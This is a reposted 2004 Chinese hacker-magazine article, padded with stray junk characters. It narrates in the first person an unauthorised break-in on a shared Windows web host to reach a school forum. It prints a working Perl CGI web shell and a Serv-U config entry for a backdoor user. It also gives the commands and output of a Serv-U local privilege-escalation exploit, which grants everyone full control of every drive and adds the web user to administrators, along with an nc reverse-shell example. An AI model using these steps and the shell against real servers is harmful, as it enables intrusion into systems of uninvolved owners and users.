剑走偏锋——灵巧的旁注攻击
, c! U. _, f3 ~+ C' |本文作者:angel, V l* v& o% ?" I) I
文章性质:原创
$ w4 W e- V2 z/ m4 Z; Q6 k+ ]发布日期:2004-11-09 % Q5 p; k) D* C/ ]$ P
注意:6 S- `5 G" M. M' Z: Q
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
! I1 O- C6 s% i0 U' r3 R8 L本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。( ^4 s- s3 ?0 a$ s+ \( k5 p! F
/ x' m- P/ T2 H! @' o, j6 V 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 & o1 J6 }# y8 }7 R
" S$ o4 b) Q) I1 g: G' q' D2 a
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
. X, P% H, \5 _' _; Q% W) q* [
2 u& S! R& K* q0 ^; P 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
0 t0 R4 k" `* Q0 k2 s
3 r4 `) d4 p. Q" _" J 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 " Q5 o3 P. q' e/ \0 n
! @; s! n1 K% q# S: i; A
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 * M) B ]$ H3 `: L8 I, |
4 t q3 a) _7 E4 I
没有目的的跳转目录着…… ' @# }- N$ H' D$ T1 [( F
% Z% T% [: F+ K7 L* { S# Z6 w2 ^; u
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ) }7 o5 s# ]; T
7 e0 }+ p2 U+ ]: g- m; ] ?: ~ 结束了吗?不,我试着 FTP 一下:
8 _+ _+ V# g. g
, h/ j, q8 J; ?. Q3 s& UMicrosoft Windows 2000 [Version 5.00.2195]
4 C! Z& a( a+ |(C) 版权所有 1985-2000 Microsoft Corp.
) x+ L' _/ Y1 f3 q6 T
! q R9 q( {1 c; f: |C:\Documents and Settings\Administrator>ftp www.school.com. C% D9 T2 M0 b9 L
Connected to www. school.com.
/ x& a" f/ D+ M. a220 Welcome to FTP Server... . i9 a' D# U2 t, w3 Z- J& {
User (www.bjtrq.com:(none)):
0 i1 L$ J5 y$ [, ?331 User name okay, need password.
& b* y. _, F6 J% S5 R3 YPassword:
' M" a& J0 s0 o530 Not logged in. 9 Q& A) W1 s+ D7 a* f
Login failed.
2 m4 I1 B6 I( N6 R9 Sftp> bye ; Q, Y' c' K; ?7 \. t+ O
221 Goodbye!
0 m5 ?$ e0 K1 B: Y ! i( }" j! k: U! {
5 i+ J5 O8 E* R2 ] 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 9 a: V+ {( |. n2 t$ i5 D( P+ v4 L
! J; K4 z# c! ]: B* S; W 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
" l$ r% }5 k4 m6 o4 y: u: P# k( Q: N- q% o4 E# x
Application Data
4 @, I9 g8 T7 X( YDocuments
# h+ \, ?; J" rDRM) r: F3 N$ |. d0 ^
Favorites1 K1 }, c, ]# g/ U
Templates
& k1 l# c" E7 M$ `「开始」菜单( h3 [( P& a7 J( w3 D
桌面1 V1 J( z6 _" b* B5 Q1 u
9 {7 U, ^' O# k) ~! |
6 Y4 x' A+ p: }. G: @5 @ 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 2 V$ }( I+ ?4 f" N5 \! A8 T6 ]
+ {; H( m& S- L+ aActiveState ActivePerl 5.8/ d; n' g" Z }+ O# j
Administrative Tools
1 I/ _2 o" K q ~4 WDeerfield.com" x! J$ X$ E+ Q# _
DTemp M: u- `/ h- I9 _+ U# W* X
IPSentry
3 T& p6 \ U$ L* hMBM 5
9 v) P; B, T: z, Y' }6 T# xNetMeter: z/ D" k( V+ J% w5 ?% f/ e
Network ICE; K+ W+ `1 f6 g @+ U7 @
Persits Software AspEmail
4 B9 |; D% e/ g- WPersits Software AspJpeg
1 z( _! e6 o- r( a5 ^2 GServ-U FTP Server* S3 t' \5 X5 c. l7 @
Symantec Client Security& C, }; \4 U+ v$ |: o- G
Windows 优化大师! R( W! ?* H* e+ t' P! _
WinRAR
/ b5 I9 Q) ]% s4 H+ c9 u, a启动' p# v* a# r3 O) T V' Z
管理工具4 j, M0 U- w) x
附件2 K3 G- ^; r& A. ], q
9 e' ] Z" o' L) G) i
0 i/ R6 B% D! v( D d# U5 C3 m 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
8 n% s4 t- O& O1 u' G+ J4 V0 r
0 D6 T% v S6 |9 ]6 z" K 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: : f1 Y( d# a& Z- W0 {0 w9 G$ b* J
8 c! b/ s2 B3 s! r4 T7 @3 S. J+ ~User281=angel|1|0 5 k4 h% t" T5 Y; o2 I; h
* i- p! c$ Q8 N% A- x2 V# I4 P6 O; P# ~1 C. V
然后加上
% F2 I" {" K7 Y* j: z
5 \2 I2 P" M3 t[USER=angel|1]) x @ {0 u! u
Password=ng98F85379EA68DBF97BAADCA99B69B805' U! o, G5 t3 b
HomeDir=D:\websites
; C9 R' N2 `2 M, d$ NRelPaths=1
+ L$ Z7 }- g% H. a# `TimeOut=600
$ W7 O. `7 H- V' WMaintenance=System
; b' I3 h& y, S5 T; VAccess1=D:\websites|RWAMELCDP2 W7 }0 g, _0 G0 J" P# \
SKEYValues=
% J! B2 E6 E5 ^* w( E1 Z+ R/ i 6 K. c* o! K5 j- Q, O$ A/ m
9 u2 P5 X) h9 o" o( N6 s
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
! b" s6 x$ a" [) n8 H Z& A9 z8 }3 x& x- d* }* P- L$ k
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
5 N5 `; k: o$ B ?6 a l* o4 ?- ?; A- G# }" m
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 # h) D' a2 x. D
- k. F6 f0 P" l9 s2 N' D 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
) g) l* d) B, v) [- B+ S& r5 |
#!/usr/bin/perl
+ ^! {6 v4 H. }# t! s; F2 |& G e# Tbinmode(STDOUT);
1 C- j" ^. f9 b: }syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);; T, i4 a# t: O( S
$_ = $ENV{QUERY_STRING};8 L0 P* j% t4 r& g& i: i0 D
s/%20/ /ig;
7 c! F7 C" M) n+ ks/%2f/\//ig;9 W/ _- y5 a3 `: W) J( d$ i- F
$execthis = $_;( K2 H+ r5 y/ b6 n- k5 B
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
/ _" U) _) _ P7 f1 [open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
8 f: D$ `+ ?7 usystem($execthis);0 }& E0 d0 v0 {/ V+ P# Q7 C
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);7 k) h3 U) F5 G5 R! w# U
close(STDERR);
7 o& S, [) w9 ~( P& xclose(STDOUT);
, q: u3 C4 k6 \3 E/ C& fexit;
J0 N, I& ?$ @ 1 k' ?; _/ i" w/ f4 ]; j- r3 S
6 _9 c1 p# e4 Y5 y0 a" ^5 ~
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ; a/ a" _. R' p2 i7 K. T
' d# [; v' y$ x
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
9 i7 I3 V* \6 g" Q! Q% Y% j2 Q) Z& e$ f* b0 O
http://anyhost//cmd.pl?d:\user\bin\su.exe
- |* F* ?8 X1 k) b1 g 8 h4 m3 o0 P; `
$ e z! H. x) E- E* }' r 返回:
9 W' b1 y v7 m) ?0 X/ D* E# A: S9 k7 W ?; Q0 X
Serv-u >3.x Local Exploit by xiaolu
4 K2 @6 h: T/ Y2 d, U6 `% c& U. f7 {) C2 Y6 j
USAGE: serv-u.exe "command"
( ?0 y$ w% v" |% y% x3 l7 {$ O4 K+ S% b
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
& s( S; w5 Y; Z 8 W) f1 \3 F7 l0 q P
6 M4 ? P( @1 b 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
& v/ \* U# A2 s/ M( Z" P! _& Q
- z0 k* v) s, {1 hhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ; g6 s6 ^: ?7 t6 }2 Y0 M
T4 q+ b1 w4 F: c* G
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 3 X j0 |! i' n1 q
/ x$ |' j L, G2 F# }2 phttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" % y1 D1 B% W) V- V& N
8 y( ^& U9 B4 b h7 a& v. i) N
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
. a" p% T, Z0 \- }. f3 n & G: M+ u+ b$ j, Q& x1 e3 [
2 `% j, _' H% J8 A$ j: k, [* q' G
返回下面的信息,就表示成功了!!!
0 @1 r2 [8 g+ t5 I7 [/ s
. ~2 z( E9 o# d8 t( \& JServ-u >3.x Local Exploit by xiaolu 3 Y: {/ @9 F6 @( N
' n, Z7 b; @) E2 y& p1 M<220 Serv-U FTP Server v5.2 for WinSock ready...
! l$ O, q9 U7 _& x8 e
/ W+ |" o; E, c' w0 p>USER LocalAdministrator 7 i8 S9 o+ t: F' Q6 i( S
. A6 O5 J# W" C$ p
<331 User name okay, need password. 8 l S. ~% |: |
5 O( c. V# } ^! |
******************************************************
6 A! m, A4 M9 Y7 j: v9 m
: D. a4 k9 y1 q+ Q* ]>PASS #l@$ak#.lk;0@P
& T4 z+ c5 O8 C1 Y0 k9 I Z# G: M* } R8 _6 R' A
<230 User logged in, proceed.
& Q u7 P0 o/ t$ m- z) c. E6 W S X; G
******************************************************
+ c( O$ m) p: I; Y6 [
8 t) p5 a- o: V5 i' ~4 P' \$ [1 k>SITE MAINTENANCE 8 s6 j/ S2 ?2 Y
2 B7 F$ @$ q* q3 ~3 W****************************************************** / Q7 C4 e% e h) S, G2 d
9 Y+ f* M- N1 n! E6 _[+] Creating New Domain... 8 }% C' A6 C4 Z3 H7 H# c" s
0 w6 h% `% X- r" k; L; z" \
<200-DomainID=2 4 G, D, a) S5 u2 x2 e. x& z
9 m0 l' q' C# F- u% Y5 B# p
<220 Domain settings saved + f% f! }; n6 J" U \2 I, ^& v
3 t9 h. ]) @0 Q3 ^" L
******************************************************
9 C$ S0 e5 X! E# @5 j2 k% x" w. ^, {# U$ O! {
[+] Domain xl:2 Created ) t9 ?' }$ r: j8 i7 G/ A, D8 T
' m1 V, ?! H" G F0 _/ d
[+] Creating Evil User ! W8 u, s: E- g; M4 s5 P: l, r
0 q+ h8 B9 u- i/ H; q# G
<200-User=xl
8 T5 K/ u+ ~8 [0 Q
1 x# \( z% @6 Q9 S; {+ p5 S200 User settings saved
: ~% Y' _( H! ~! B' ^) a( ~
! R+ {4 i0 m4 H2 P& v. A/ M8 V, u******************************************************
P, S1 R- j: T2 n1 g: ]
/ Q# z3 w8 U* K/ U( C" C[+] Now Exploiting...
2 q4 U2 s7 z3 R# r0 T3 e* ?' Y, |7 f8 N; e4 k
>USER xl 0 `0 U* e; J$ q$ Y; |) d& T! s4 ~( b
# J# a' {' }& @: g( O( y0 G6 H2 A9 k
<331 User name okay, need password.
0 a' S* `5 w g8 v* x
5 x8 V0 D' O D# P****************************************************** 5 O+ S+ D9 `! U4 w6 L- f
6 T- t' T5 O6 T3 O. E# b
>PASS 111111 5 A# h7 L8 I$ a" k4 F, i
; }$ }5 N+ A# [- R<230 User logged in, proceed. * E3 t1 ^% _+ M4 e' |8 y6 k
/ A6 b! Z) f5 t# C( Y******************************************************
: J" p% k1 E7 U5 }& W$ p
: G6 ]2 i' z! H/ J# F% T[+] Now Executing: cacls.exe c: /E /T /G everyone:F 4 S/ G6 \. J0 ~8 B
, f% i6 Q9 R0 }9 A( C<220 Domain deleted
, L% ]5 r5 r/ a+ m+ a$ N
' b$ c8 t, c1 Y****************************************************** ! S* l4 s0 O, }8 A- B7 p, M3 I8 |
0 k& n8 `' S$ ~# U5 z1 @
* o9 u0 r* r2 S J* E1 _8 q 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
- L4 v& M6 J/ t, |% N6 d5 I" ] o, C" i% K" v& G/ R% Z5 r
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
' z( \( I" f9 Y5 F( q7 f3 V; _5 p
4 G1 ?9 X7 |7 Z5 w& e0 K1 p/ d
8 g4 w' v4 R t7 e, K 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 % h! i2 i6 O; {1 Q3 V
8 |+ |3 r+ S& N) ~# T3 f) H5 l ] 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
1 f- y& Y7 ]4 m3 D) l# _
* V! Z+ r: k$ v- d/ w$ |% K 1 p% Z" j+ J3 T7 ~5 ]. ?0 P( R- p
|